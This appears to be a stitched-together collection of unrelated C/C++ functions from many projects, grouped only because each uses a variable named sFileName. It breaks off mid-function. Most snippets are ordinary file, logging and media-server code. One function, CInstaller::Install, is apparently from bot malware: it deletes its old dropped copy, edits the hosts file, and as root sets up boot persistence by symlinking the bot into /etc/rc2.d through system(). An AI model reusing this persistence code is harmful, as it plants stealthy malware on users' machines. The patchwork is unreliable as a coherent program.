flag CReport::Connect() { pConv = new CReportConv(&(pDdeExec->Dde)); pConv->AddRef(); if (pConv->ConnectTo("excel", sFileName())) return True; pConv->Release(); // and it should get deleted ReportError(10L, "Unable to connect to excel %s", sFileName()); return False; }
DTC::LiveStreamInfo *Content::AddRecordingLiveStream( int nChanId, const QDateTime &dtStartTime, int nMaxSegments, int nWidth, int nHeight, int nBitrate, int nAudioBitrate, int nSampleRate ) { if (!dtStartTime.isValid()) throw( "StartTime is invalid" ); // ------------------------------------------------------------------ // Read Recording From Database // ------------------------------------------------------------------ ProgramInfo pginfo( (uint)nChanId, dtStartTime ); if (!pginfo.GetChanID()) { LOG( VB_UPNP, LOG_ERR, QString("AddRecordingLiveStream - for %1, %2 failed") .arg( nChanId ) .arg( dtStartTime.toString() )); return NULL; } if ( pginfo.GetHostname().toLower() != gCoreContext->GetHostName().toLower()) { // We only handle requests for local resources QString sMsg = QString("GetRecording: Wrong Host '%1' request from '%2'.") .arg( gCoreContext->GetHostName()) .arg( pginfo.GetHostname() ); LOG(VB_UPNP, LOG_ERR, sMsg); throw HttpRedirectException( pginfo.GetHostname() ); } QString sFileName( GetPlaybackURL(&pginfo) ); // ---------------------------------------------------------------------- // check to see if the file exists // ---------------------------------------------------------------------- if (!QFile::exists( sFileName )) { LOG( VB_UPNP, LOG_ERR, QString("AddRecordingLiveStream - for %1, %2 failed") .arg( nChanId ) .arg( dtStartTime.toString() )); return NULL; } QFileInfo fInfo( sFileName ); return AddLiveStream( pginfo.GetStorageGroup(), fInfo.fileName(), pginfo.GetHostname(), nMaxSegments, nWidth, nHeight, nBitrate, nAudioBitrate, nSampleRate ); }
void nwxXmlCMF::UnitTest() { nwxXmlCMF x; nwxXmlCMF xx; wxString sFileName(_T("foo.xml")); wxMemoryInputStream instr(sXML,XML_SIZE); MY_ASSERT(instr.IsOk(),"wxMemoryInputStream::IsOk() failed"); MY_ASSERT(instr.CanRead(),"wxMemoryInputStream::CanRead() failed"); MY_ASSERT(instr.TellI() == (off_t)0,"wxMemoryInputStream::TellI() != 0"); if(!x.LoadStream(instr)) { MY_ASSERT(0,"Could not load input stream"); return; } UnitTest1(x); if(!x.SaveFile(sFileName)) { MY_ASSERT(0,"Cannot save file ", sFileName); } else if(!xx.LoadFile(sFileName)) { MY_ASSERT(0,"Cannot load file ", sFileName); } else { UnitTest1(xx); } }
bool CInstaller::Install() { if(g_pMainCtrl->m_cCmdLine.m_cConfig.bMeltServer) DeleteFile(g_pMainCtrl->m_cCmdLine.m_cConfig.szOldServer); // Add hosts to the hosts file #ifdef _WIN32 AddHosts(); #else if(!getuid()) { // Only install autostart as root int iDistro=GetDistro(); char *szRC2Path=NULL; switch(iDistro) { case LINUX_TYPE_SUSE: szRC2Path="/etc/rc.d/rc2.d"; break; case LINUX_TYPE_REDHAT: case LINUX_TYPE_DEBIAN: default: szRC2Path="/etc/rc2.d"; break; } if(szRC2Path) { // Add bot autostart here CString sFileName("/usr/sbin/"), sCmdBuf, sRCFileName(szRC2Path); sFileName.Append(g_pMainCtrl->m_pBot->bot_filename.sValue.CStr()); sRCFileName.Append("/S99"); sRCFileName.Append(g_pMainCtrl->m_pBot->bot_filename.sValue.CStr()); DeleteFile(sRCFileName.CStr()); sCmdBuf.Format("ln -s %s %s", sFileName.CStr(), sRCFileName.CStr()); system(sCmdBuf.CStr()); } } #endif // _WIN32 return true; }
CMapFile::CMapFile(const char * cFileName){ CStdString sFileName( cFileName ); if ( sFileName.GetLength() ){ fIn.open( sFileName.c_str() ); } }
Skeleton::Skeleton(const char* name) : m_vJoints(0) , m_vGlobalPose(0) , m_vWorldGlobalPose(0) { m_ID = ComponentID; std::string sFileName(name); sFileName = "../Assets/" + sFileName; FILE* pFile = fopen(C_STR(sFileName, "_skeleton.bufa"), "r"); char c[256]; int iNumJoints, parentIndex; float transform[16]; fscanf(pFile, "%s", &c); fscanf(pFile, "%i", &iNumJoints); m_vJoints.Resize(iNumJoints); m_vGlobalPose.Resize(iNumJoints); m_vWorldGlobalPose.Resize(iNumJoints); for (int i = 0; i < iNumJoints; ++i) { fscanf(pFile, "%s", &c); for (int j = 0; j < 16; ++j) { fscanf(pFile, "%f", &transform[j]); } fscanf(pFile, "%i", &parentIndex); m_vJoints.Add(Joint(transform, parentIndex)); m_vGlobalPose.Add(new Matrix4); m_vWorldGlobalPose.Add(new Matrix4); } fclose(pFile); }
void CMirageManager::WriteDiagnostics(const std::wstring& data) { std::wstring sFileName(_wgetenv(_T("APPDATA"))); sFileName.append(_T("\\Dimdim\\DriverDiagnostics.info")); FILE* fout = _wfopen(sFileName.c_str(), _T("a+")); fwprintf(fout, _T("%s\n"), data.c_str()); fclose(fout); }
bool CPathLib::ReadDir(QString sDir, QList<QString> *paFiles, QList<quint32> *paFileSizes, QString *sFilter) { QString filepath; DIR *dp; struct dirent *dirp; struct stat filestat; if(paFiles == NULL) return false; paFiles->clear(); if(paFileSizes != NULL) paFileSizes->clear(); sDir = CPathLib::CompletePath(sDir); dp = opendir(sDir.toStdString().c_str()); if(dp == NULL) return false; while( (dirp = readdir(dp)) ) { filepath = sDir + QString("/") + QString("%1").arg(dirp->d_name); if(stat(filepath.toStdString().c_str(), &filestat)) continue; if( S_ISDIR(filestat.st_mode)) continue; /* * Do the filter operation. */ if(sFilter != NULL) { if(sFilter->length() > 0) { QString sFileName(dirp->d_name); QRegExp oRegExp(sFilter->toStdString().c_str()); if( oRegExp.indexIn(sFileName) == 0) { paFiles->push_back(QString(dirp->d_name)); } } else { paFiles->push_back(QString(dirp->d_name)); } } else { paFiles->push_back(QString(dirp->d_name)); } if(paFileSizes != NULL) paFileSizes->push_back(filestat.st_size); } return true; }
FCIMPL1(Object*, AssemblyNameNative::GetFileInformation, StringObject* filenameUNSAFE) { FCALL_CONTRACT; struct _gc { ASSEMBLYNAMEREF result; STRINGREF filename; } gc; gc.result = NULL; gc.filename = (STRINGREF) filenameUNSAFE; HELPER_METHOD_FRAME_BEGIN_RET_PROTECT(gc); if (gc.filename == NULL) COMPlusThrow(kArgumentNullException, W("ArgumentNull_FileName")); if (gc.filename->GetStringLength() == 0) COMPlusThrow(kArgumentException, W("Argument_EmptyFileName")); gc.result = (ASSEMBLYNAMEREF) AllocateObject(MscorlibBinder::GetClass(CLASS__ASSEMBLY_NAME)); /////////////////////////////////////////////// SString sFileName(gc.filename->GetBuffer()); PEImageHolder pImage = PEImage::OpenImage(sFileName, MDInternalImport_NoCache); EX_TRY { #ifdef FEATURE_CORECLR // Allow AssemblyLoadContext.GetAssemblyName for native images on CoreCLR if (pImage->HasNTHeaders() && pImage->HasCorHeader() && pImage->HasNativeHeader()) pImage->VerifyIsNIAssembly(); else pImage->VerifyIsAssembly(); #else pImage->VerifyIsAssembly(); #endif } EX_CATCH { Exception *ex = GET_EXCEPTION(); EEFileLoadException::Throw(sFileName,ex->GetHR(),ex); } EX_END_CATCH_UNREACHABLE; SString sUrl = sFileName; PEAssembly::PathToUrl(sUrl); AssemblySpec spec; spec.InitializeSpec(TokenFromRid(mdtAssembly,1),pImage->GetMDImport(),NULL,TRUE); spec.SetCodeBase(sUrl); spec.AssemblyNameInit(&gc.result, pImage); HELPER_METHOD_FRAME_END(); return OBJECTREFToObject(gc.result); }
void wxGxArchiveFolder::LoadChildren(void) { if(m_bIsChildrenLoaded) return; char **papszItems = CPLReadDir(m_sPath); if(papszItems == NULL) return; char **papszFileList = NULL; //remove unused items for(int i = CSLCount(papszItems) - 1; i >= 0; i-- ) { if( wxGISEQUAL(papszItems[i],".") || wxGISEQUAL(papszItems[i],"..") ) continue; CPLString szFileName = m_sPath; szFileName += "/"; szFileName += papszItems[i]; VSIStatBufL BufL; int ret = VSIStatL(szFileName, &BufL); if(ret == 0) { if(VSI_ISDIR(BufL.st_mode)) { wxString sCharset(wxT("cp-866")); wxGISAppConfig oConfig = GetConfig(); if(oConfig.IsOk()) sCharset = oConfig.Read(enumGISHKCU, wxString(wxT("wxGISCommon/zip/charset")), sCharset); wxString sFileName(papszItems[i], wxCSConv(sCharset)); GetArchiveFolder(this, sFileName, szFileName); } else { papszFileList = CSLAddString( papszFileList, szFileName ); } } } CSLDestroy( papszItems ); //load names wxGxCatalog *pCatalog = wxDynamicCast(GetGxCatalog(), wxGxCatalog); if(pCatalog) { wxArrayLong ChildrenIds; pCatalog->CreateChildren(this, papszFileList, ChildrenIds); for(size_t i = 0; i < ChildrenIds.GetCount(); ++i) pCatalog->ObjectAdded(ChildrenIds[i]); } CSLDestroy( papszFileList ); m_bIsChildrenLoaded = true; }
STDMETHODIMP MailAttachments::Add(BSTR filename, BSTR displayName, IMailAttachment** pReturnVal) { try { if(0 == filename) throw Workshare::ArgumentNullException(_T("filename"), _T("The filename may not be null.")); CString sFileName(filename); if(sFileName.IsEmpty()) throw Workshare::ArgumentException(_T("filename"), _T("The filename may not be empty.")); CPath path(sFileName); if(!path.FileExists()) throw Workshare::System::IO::FileNotFoundException(sFileName, _T("The file to be attached doesn't exist.")); if(pReturnVal == 0) throw Workshare::ArgumentNullException(_T("pReturnVal"), _T("The return argument may not be null.")); CComObject<MailAttachment>* pAttachment = NULL; HRESULT hr = CComObject<MailAttachment>::CreateInstance(&pAttachment); if(FAILED(hr)) throw Workshare::Com::ComException(_T("Failed to create an instance of Workshare.MailAttachment"), hr); hr = pAttachment->QueryInterface(pReturnVal); if(FAILED(hr)) { delete pAttachment; throw Workshare::Com::ComException(_T("Workshare.MailAttachment doesn't implement the IMailAttachment interface."), hr); } CString sDisplayName(displayName); if(sDisplayName.IsEmpty()) { sDisplayName = sFileName; int nPos = path.FindFileName(); sDisplayName.Delete(0, nPos); } pAttachment->SetFileName(sFileName); pAttachment->SetDisplayName(sDisplayName); m_Attachments.push_back(*pReturnVal); } catch(const Workshare::Exception& e) { return AtlReportError(__uuidof(this), e.Message, __uuidof(IMailAttachments), e.ErrorCode); } catch(...) { return ProcessUnhandledException(); } return S_OK; }
QFileInfo Content::GetRecording( int nRecordedId, int nChanId, const QDateTime &recstarttsRaw ) { if ((nRecordedId <= 0) && (nChanId <= 0 || !recstarttsRaw.isValid())) throw QString("Recorded ID or Channel ID and StartTime appears invalid."); // ------------------------------------------------------------------ // Read Recording From Database // ------------------------------------------------------------------ // TODO Should use RecordingInfo ProgramInfo pginfo; if (nRecordedId > 0) pginfo = ProgramInfo(nRecordedId); else pginfo = ProgramInfo(nChanId, recstarttsRaw.toUTC()); if (!pginfo.GetChanID()) { LOG(VB_UPNP, LOG_ERR, QString("GetRecording - for '%1' failed") .arg(nRecordedId)); return QFileInfo(); } if (pginfo.GetHostname().toLower() != gCoreContext->GetHostName().toLower()) { // We only handle requests for local resources QString sMsg = QString("GetRecording: Wrong Host '%1' request from '%2'.") .arg( gCoreContext->GetHostName()) .arg( pginfo.GetHostname() ); LOG(VB_UPNP, LOG_ERR, sMsg); throw HttpRedirectException( pginfo.GetHostname() ); } QString sFileName( GetPlaybackURL(&pginfo) ); // ---------------------------------------------------------------------- // check to see if the file exists // ---------------------------------------------------------------------- if (QFile::exists( sFileName )) return QFileInfo( sFileName ); return QFileInfo(); }
CImportStream_GCC_Native::CImportStream_GCC_Native(_In_ const nfWChar * pwszFileName) { if (pwszFileName == nullptr) throw CNMRException(NMR_ERROR_INVALIDPARAM); std::wstring sFileName(pwszFileName); #ifdef _WIN32 m_Stream.open(sFileName.c_str(), std::ios::in | std::ios::binary); #else std::string sUTF8Name = fnUTF16toUTF8(sFileName); m_Stream.open(sUTF8Name.c_str(), std::ios::in | std::ios::binary); #endif if (m_Stream.fail()) throw CNMRException(NMR_ERROR_COULDNOTOPENFILE); }
QFileInfo Content::GetRecording( int nChanId, const QDateTime &recstarttsRaw ) { if (!recstarttsRaw.isValid()) throw( "StartTime is invalid" ); // ------------------------------------------------------------------ // Read Recording From Database // ------------------------------------------------------------------ QDateTime recstartts = recstarttsRaw.toUTC(); ProgramInfo pginfo((uint)nChanId, recstartts); if (!pginfo.GetChanID()) { LOG(VB_UPNP, LOG_ERR, QString("GetRecording - for '%1' failed") .arg(ProgramInfo::MakeUniqueKey(nChanId, recstartts))); return QFileInfo(); } if (pginfo.GetHostname().toLower() != gCoreContext->GetHostName().toLower()) { // We only handle requests for local resources QString sMsg = QString("GetRecording: Wrong Host '%1' request from '%2'.") .arg( gCoreContext->GetHostName()) .arg( pginfo.GetHostname() ); LOG(VB_UPNP, LOG_ERR, sMsg); throw HttpRedirectException( pginfo.GetHostname() ); } QString sFileName( GetPlaybackURL(&pginfo) ); // ---------------------------------------------------------------------- // check to see if the file exists // ---------------------------------------------------------------------- if (QFile::exists( sFileName )) return QFileInfo( sFileName ); return QFileInfo(); }
CString COXCustomizeInstanceManagerPage::GetCurrentInstanceName() { CString sFileName(_T("")); ::GetModuleFileName(NULL,sFileName.GetBuffer(MAX_PATH),MAX_PATH); sFileName.ReleaseBuffer(); #if _MFC_VER>0x0421 sFileName.Remove(_T('\\')); #else int nPos=sFileName.Find(_T('\\')); while(nPos!=-1) { sFileName=sFileName.Left(nPos)+sFileName.Mid(nPos+1); nPos=sFileName.Find(_T('\\')); } #endif // _MFC_VER>0x0421 return sFileName; }
const char* CFlashMenuObject::ValidateName(const char *fileName) { string sFileName(fileName); int index = sFileName.rfind('.'); if(index>=0) { sFileName = sFileName.substr(0,index); } index = sFileName.rfind('_'); if(index>=0) { string check(sFileName.substr(index+1,sFileName.length()-(index+1))); //if(!stricmp(check, "levelstart")) //because of the french law we can't do this ... if(!stricmp(check, "crysis")) return "@ui_error_levelstart"; } return NULL; }
CEmissary::CEmissary() : m_pubTray (NULL) { CRegistry reg; bool retval = reg.Open(_T("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"), HKEY_CURRENT_USER); if (retval == false) return; std::wstring acu = (std::wstring)reg[_T("AutoConfigURL")]; reg.Close(); if (acu.length() > 0) { std::string sFileName(getenv("APPDATA")); sFileName.append("\\Dimdim\\proxyloc"); std::wofstream fos(sFileName.c_str()); fos << acu.c_str(); fos.close(); } }
serverPage::serverPage(wxString sPageName, PAGE_TYPE type, PAGE_CALLBACK pCBFunc) : m_sPageName(sPageName), m_sMimeType(wxEmptyString), m_nRedirectTime(0), m_pPageData(0L), m_pBinaryData(0L), m_nBinaryDataSize(0L), m_cbFunc(pCBFunc), m_type(type), m_flags(0L), m_server(0L), m_bEnableCaching(false) { // ctor switch (type) { case PAGE_HTML: m_sMimeType = wxT("text/html"); break; case PAGE_CSS: m_sMimeType = wxT("text/css"); break; case PAGE_JSCRIPT: m_sMimeType = wxT("text/javascript"); break; case PAGE_BINARY: { wxFileName sFileName(sPageName); wxString sType = sFileName.GetExt(); D(debug("-- looking for mime type for extension [%s]\n", sType.c_str())); m_sMimeType = GetMimeFromExtenstion( sType ); D(debug("-- mime type is [%s]\n", m_sMimeType.c_str())); } break; case PAGE_TEXT: m_sMimeType = wxT("text/plain"); break; } }
bool LFSDMSHelper::IsDirectoryEmpty(const CStdString& sDirName) { bool bEmpty = true; BOOL bContinue = TRUE; WIN32_FIND_DATA w32Data; ZeroMemory(&w32Data, sizeof(w32Data)); HANDLE hFile = FindFirstFile(sDirName + _T("\\*.*"), &w32Data); if (hFile == INVALID_HANDLE_VALUE) { return true; } while (bContinue && bEmpty) { CStdString sFileName(w32Data.cFileName); if ((sFileName == _T(".")) || (sFileName == _T(".."))) { bContinue = FindNextFile(hFile, &w32Data); continue; } if (w32Data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { bEmpty = IsDirectoryEmpty(sDirName + _T("\\") + w32Data.cFileName); } else { bEmpty = false; } bContinue = FindNextFile(hFile, &w32Data); } FindClose(hFile); return bEmpty; }
void Log::outCharDump(const char * str, uint32 account_id, uint32 guid, const char * name) { FILE *file = NULL; if (m_charLog_Dump_Separate) { char fileName[29]; // Max length: name(12) + guid(11) + _.log (5) + \0 snprintf(fileName, 29, "%d_%s.log", guid, name); std::string sFileName(m_dumpsDir); sFileName.append(fileName); file = fopen((m_logsDir + sFileName).c_str(), "w"); } else file = charLogfile; if (file) { fprintf( file, "== START DUMP == (account: %u guid: %u name: %s )\n%s\n== END DUMP ==\n", account_id, guid, name, str); fflush(file); if (m_charLog_Dump_Separate) fclose(file); } }
//--------------------------------------------------------------------------- // InitializeRequest HRESULT CTemporaryProtocolFolderHandler::InitializeRequest( LPCWSTR lpszPath, DWORD & dwSize) { // compose absolute file name and strip leading '/' from incoming path CStringW sFileName(m_HostInfo.folderName + (lpszPath+1)); sFileName.Replace(_T('/'), _T('\\')); // and open the file IF_FAILED_RET(m_File.Create(sFileName, GENERIC_READ, FILE_SHARE_READ, OPEN_EXISTING)); // get file size ULONGLONG fileLength; IF_FAILED_RET(m_File.GetSize(fileLength)); // only files <4GB supported if (fileLength > 0x00000000ffffffff) { ATLASSERT(0 && L"only files <4GB supported"); return INET_E_OBJECT_NOT_FOUND; } dwSize = (DWORD)fileLength; return S_OK; }
void CMirageManager::CleanupDiagnostics() { std::wstring sFileName(_wgetenv(_T("APPDATA"))); sFileName.append(_T("\\Dimdim\\DriverDiagnostics.info")); DeleteFile(sFileName.c_str()); }
//Print errors to log file bool __fastcall PrintError( const size_t ErrorType, const wchar_t *Message, const SSIZE_T ErrorCode, const wchar_t *FileName, const size_t Line) { //Print Error: Enable/Disable. if (!Parameter.PrintError || //PrintError parameter check Message == nullptr || CheckEmptyBuffer(Message, wcsnlen_s(Message, ORIGINAL_PACKET_MAXSIZE) * sizeof(wchar_t)) || //Message check FileName != nullptr && CheckEmptyBuffer(FileName, wcsnlen_s(FileName, ORIGINAL_PACKET_MAXSIZE) * sizeof(wchar_t))) //FileName check return false; //Get current date and time. std::shared_ptr<tm> TimeStructure(new tm()); memset(TimeStructure.get(), 0, sizeof(tm)); auto TimeValues = time(nullptr); #if defined(PLATFORM_WIN) if (localtime_s(TimeStructure.get(), &TimeValues) > 0) #elif (defined(PLATFORM_LINUX) || defined(PLATFORM_MACX)) if (localtime_r(&TimeValues, TimeStructure.get()) == nullptr) #endif return false; //Print Start Time at first printing. time_t InnerStartTime = 0; if (StartTime > 0) { InnerStartTime = StartTime; StartTime = 0; } //Print to screen. #if defined(PLATFORM_WIN) if (GlobalRunningStatus.Console) #elif defined(PLATFORM_LINUX) if (!GlobalRunningStatus.Daemon) #endif { //Print start time before print errors. if (InnerStartTime > 0) { std::shared_ptr<tm> TimeStructureTemp(new tm()); memset(TimeStructureTemp.get(), 0, sizeof(tm)); #if defined(PLATFORM_WIN) if (localtime_s(TimeStructureTemp.get(), &InnerStartTime) > 0) #elif (defined(PLATFORM_LINUX) || defined(PLATFORM_MACX)) if (localtime_r(&InnerStartTime, TimeStructureTemp.get()) == nullptr) #endif return false; wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> Log opened at this moment.\n", TimeStructureTemp->tm_year + 1900, TimeStructureTemp->tm_mon + 1, TimeStructureTemp->tm_mday, TimeStructureTemp->tm_hour, TimeStructureTemp->tm_min, TimeStructureTemp->tm_sec); } //Print errors. switch (ErrorType) { //System Error case LOG_ERROR_SYSTEM: { if (ErrorCode == 0) { wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> System Error: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); } else { #if defined(PLATFORM_WIN) //About System Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx. if (ErrorCode == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT) wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> System Error: %ls, ERROR_FAILED_SERVICE_CONTROLLER_CONNECT(The service process could not connect to the service controller).\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); else #endif wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> System Error: %ls, error code is %d.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message, (int)ErrorCode); } }break; //Parameter Error case LOG_ERROR_PARAMETER: { wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> Parameter Error: %ls", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); if (FileName != nullptr) { //Delete double backslash. std::wstring sFileName(FileName); while (sFileName.find(L"\\\\") != std::wstring::npos) sFileName.erase(sFileName.find(L"\\\\"), wcslen(L"\\")); //Write to file if (Line > 0) wprintf_s(L" in line %d of %ls", (int)Line, sFileName.c_str()); else wprintf_s(L" in %ls", sFileName.c_str()); } //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. if (ErrorCode > 0) wprintf_s(L", error code is %d", (int)ErrorCode); wprintf_s(L".\n"); }break; //IPFilter Error case LOG_ERROR_IPFILTER: { wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> IPFilter Error: %ls", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); if (FileName != nullptr) { //Delete double backslash. std::wstring sFileName(FileName); while (sFileName.find(L"\\\\") != std::wstring::npos) sFileName.erase(sFileName.find(L"\\\\"), wcslen(L"\\")); //Write to file if (Line > 0) wprintf_s(L" in line %d of %ls", (int)Line, sFileName.c_str()); else wprintf_s(L" in %ls", sFileName.c_str()); } //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. if (ErrorCode > 0) wprintf_s(L", error code is %d", (int)ErrorCode); wprintf_s(L".\n"); }break; //Hosts Error case LOG_ERROR_HOSTS: { wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> Hosts Error: %ls", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); if (FileName != nullptr) { //Delete double backslash. std::wstring sFileName(FileName); while (sFileName.find(L"\\\\") != std::wstring::npos) sFileName.erase(sFileName.find(L"\\\\"), wcslen(L"\\")); //Write to file if (Line > 0) wprintf_s(L" in line %d of %ls", (int)Line, sFileName.c_str()); else wprintf_s(L" in %ls", sFileName.c_str()); } //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. if (ErrorCode > 0) wprintf_s(L", error code is %d", (int)ErrorCode); wprintf_s(L".\n"); }break; //Network Error //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. case LOG_ERROR_NETWORK: { if (ErrorCode == 0) wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> Network Error: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); #if defined(PLATFORM_WIN) else if (ErrorCode == WSAENETUNREACH) //Block error messages when network is unreachable. return true; #endif else wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> Network Error: %ls, error code is %d.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message, (int)ErrorCode); }break; //WinPcap Error #if defined(ENABLE_PCAP) case LOG_ERROR_PCAP: { wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> Pcap Error: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); }break; #endif //DNSCurve Error #if defined(ENABLE_LIBSODIUM) case LOG_ERROR_DNSCURVE: { #if defined(PLATFORM_WIN) if (ErrorCode == WSAENETUNREACH) //Block error messages when network is unreachable. return true; else #endif wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> DNSCurve Error: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); }break; #endif //Notice case LOG_MESSAGE_NOTICE: { wprintf_s(L"%d-%02d-%02d %02d:%02d:%02d -> Notice: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); }break; default: { return false; } } } //Check whole file size. std::unique_lock<std::mutex> ErrLogMutex(ErrorLogLock); #if defined(PLATFORM_WIN) std::shared_ptr<WIN32_FILE_ATTRIBUTE_DATA> File_WIN32_FILE_ATTRIBUTE_DATA(new WIN32_FILE_ATTRIBUTE_DATA()); memset(File_WIN32_FILE_ATTRIBUTE_DATA.get(), 0, sizeof(WIN32_FILE_ATTRIBUTE_DATA)); if (GetFileAttributesExW(GlobalRunningStatus.Path_ErrorLog->c_str(), GetFileExInfoStandard, File_WIN32_FILE_ATTRIBUTE_DATA.get()) != FALSE) { std::shared_ptr<LARGE_INTEGER> ErrorFileSize(new LARGE_INTEGER()); memset(ErrorFileSize.get(), 0, sizeof(LARGE_INTEGER)); ErrorFileSize->HighPart = File_WIN32_FILE_ATTRIBUTE_DATA->nFileSizeHigh; ErrorFileSize->LowPart = File_WIN32_FILE_ATTRIBUTE_DATA->nFileSizeLow; if (ErrorFileSize->QuadPart > 0 && (size_t)ErrorFileSize->QuadPart >= Parameter.LogMaxSize && DeleteFileW(GlobalRunningStatus.Path_ErrorLog->c_str()) != 0) PrintError(LOG_ERROR_SYSTEM, L"Old Error Log file was deleted", 0, nullptr, 0); } File_WIN32_FILE_ATTRIBUTE_DATA.reset(); #elif (defined(PLATFORM_LINUX) || defined(PLATFORM_MACX)) std::shared_ptr<struct stat> FileStat(new struct stat()); memset(FileStat.get(), 0, sizeof(struct stat)); if (stat(GlobalRunningStatus.sPath_ErrorLog->c_str(), FileStat.get()) == EXIT_SUCCESS && FileStat->st_size >= (off_t)Parameter.LogMaxSize && remove(GlobalRunningStatus.sPath_ErrorLog->c_str()) == EXIT_SUCCESS) PrintError(LOG_ERROR_SYSTEM, L"Old Error Log file was deleted", 0, nullptr, 0); FileStat.reset(); #endif //Main print #if defined(PLATFORM_WIN) FILE *Output = nullptr; if (_wfopen_s(&Output, GlobalRunningStatus.Path_ErrorLog->c_str(), L"a,ccs=UTF-8") == EXIT_SUCCESS && Output != nullptr) #elif (defined(PLATFORM_LINUX) || defined(PLATFORM_MACX)) auto Output = fopen(GlobalRunningStatus.sPath_ErrorLog->c_str(), "a"); if (Output != nullptr) #endif { //Print start time before print errors. if (InnerStartTime > 0) { std::shared_ptr<tm> TimeStructureTemp(new tm()); memset(TimeStructureTemp.get(), 0, sizeof(tm)); #if defined(PLATFORM_WIN) if (localtime_s(TimeStructureTemp.get(), &InnerStartTime) > 0) #elif (defined(PLATFORM_LINUX) || defined(PLATFORM_MACX)) if (localtime_r(&InnerStartTime, TimeStructureTemp.get()) == nullptr) #endif { fclose(Output); return false; } fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Log opened at this moment.\n", TimeStructureTemp->tm_year + 1900, TimeStructureTemp->tm_mon + 1, TimeStructureTemp->tm_mday, TimeStructureTemp->tm_hour, TimeStructureTemp->tm_min, TimeStructureTemp->tm_sec); } //Print errors. switch (ErrorType) { //System Error case LOG_ERROR_SYSTEM: { if (ErrorCode == 0) { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> System Error: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); } else { #if defined(PLATFORM_WIN) //About System Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx. if (ErrorCode == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT) fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> System Error: %ls, ERROR_FAILED_SERVICE_CONTROLLER_CONNECT(The service process could not connect to the service controller).\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); else #endif fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> System Error: %ls, error code is %d.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message, (int)ErrorCode); } }break; //Parameter Error case LOG_ERROR_PARAMETER: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Parameter Error: %ls", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); if (FileName != nullptr) { //Delete double backslash. std::wstring sFileName(FileName); while (sFileName.find(L"\\\\") != std::wstring::npos) sFileName.erase(sFileName.find(L"\\\\"), wcslen(L"\\")); //Write to file if (Line > 0) fwprintf_s(Output, L" in line %d of %ls", (int)Line, sFileName.c_str()); else fwprintf_s(Output, L" in %ls", sFileName.c_str()); } //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. if 